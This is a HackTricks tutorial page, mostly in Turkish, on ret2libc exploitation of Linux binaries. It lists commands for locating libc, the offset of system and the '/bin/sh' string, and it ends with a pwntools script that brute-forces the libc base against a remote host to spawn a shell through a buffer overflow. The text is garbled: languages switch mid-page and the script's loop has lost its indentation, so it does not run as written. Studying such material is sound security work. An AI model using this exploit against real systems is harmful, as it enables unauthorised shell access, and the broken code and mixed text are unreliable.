hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md
2024-02-10 18:14:16 +00:00

5 KiB
Raw Permalink Blame History

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Eğer bir zafiyetli ikili bulduysanız ve Ret2Lib kullanarak bunu sömürebileceğinizi düşünüyorsanız, izleyebileceğiniz bazı temel adımlar bulabilirsiniz.

Eğer hedefin içindeyseniz

libc adresini bulabilirsiniz

ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)

ASLR'nin libc adresini değiştirip değiştirmediğini kontrol etmek isterseniz şunu yapabilirsiniz:

for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done

Sistem fonksiyonunun ofsetini alın

Bir programı hedef alırken, sistem fonksiyonunun ofsetini belirlemek önemlidir. Bu, hedef programda sistem çağrılarını gerçekleştiren işlevin bellek adresini bulmamıza yardımcı olur. Sistem fonksiyonunun ofsetini almak için aşağıdaki adımları izleyebilirsiniz:

  1. Hedef programı çalıştırın ve debugger'ı başlatın.
  2. Debugger'da hedef programın çalıştığı noktaya gelin.
  3. Sistem fonksiyonunun adını ve kütüphane adını belirleyin. Örneğin, system fonksiyonu libc kütüphanesinde bulunur.
  4. Debugger'da p system komutunu kullanarak sistem fonksiyonunun adresini alın.
  5. Sistem fonksiyonunun ofsetini hesaplamak için p system - libc_base_address formülünü kullanın. libc_base_address, hedef programın libc kütüphanesinin başlangıç adresidir.

Bu adımları takip ederek, sistem fonksiyonunun ofsetini elde edebilir ve hedef programda bu fonksiyonu hedefleyebilirsiniz.

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

To get the offset of "/bin/sh", we can use the objdump command. First, we need to find the address of the string "/bin/sh" in the binary. We can do this by running the following command:

objdump -s -j .rodata binary | grep "/bin/sh"

This command will display the offset and the corresponding string. The offset value is what we are interested in.

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

/proc/<PID>/maps

Eğer işlem her konuştuğunuzda (ağ sunucusu gibi) çocuklar oluşturuyorsa, bu dosyayı okumayı deneyin (muhtemelen root olmanız gerekecektir).

Burada işlem içinde libc'nin tam olarak nerede yüklendiğini ve işlemin her çocuğunun nerede yükleneceğini bulabilirsiniz.

Bu durumda, 0xb75dc000 adresine yüklendi (Bu, libc'nin temel adresi olacak)

gdb-peda Kullanarak

gdb-peda kullanarak system fonksiyonunun, exit fonksiyonunun ve "/bin/sh" dizesinin adresini alın:

p system
p exit
find "/bin/sh"

ASLR Geçme

Libc'nin taban adresini bruteforce yöntemiyle deneyebilirsiniz.

for off in range(0xb7000000, 0xb8000000, 0x1000):

Kod

from pwn import *

c = remote('192.168.85.181',20002)
c.recvline()    #Banner

for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları: